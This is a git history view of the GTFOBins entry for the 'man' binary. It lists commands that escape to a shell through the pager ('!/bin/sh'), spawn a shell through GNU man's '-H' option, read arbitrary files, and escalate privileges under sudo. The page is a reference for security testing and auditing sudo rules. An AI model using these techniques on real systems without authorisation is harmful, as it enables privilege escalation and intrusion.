GTFOBins.github.io/_gtfobins/man.md

18 lines
444 B
Markdown
Raw Normal View History

2018-05-21 19:14:41 +00:00
---
2021-02-05 12:41:12 +00:00
description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
2018-05-21 19:14:41 +00:00
functions:
2018-10-05 17:55:38 +00:00
shell:
2018-07-16 13:01:50 +00:00
- code: |
2021-02-27 16:09:41 +00:00
man man
!/bin/sh
- description: This only works for GNU `man` and requires GNU `troff` (`groff` to be installed).
code: |
man '-H/bin/sh #' man
2018-07-04 18:26:52 +00:00
file-read:
2018-07-16 13:01:50 +00:00
- code: man file_to_read
2018-10-05 17:55:38 +00:00
sudo:
2018-07-16 13:01:50 +00:00
- code: |
sudo man man
!/bin/sh
---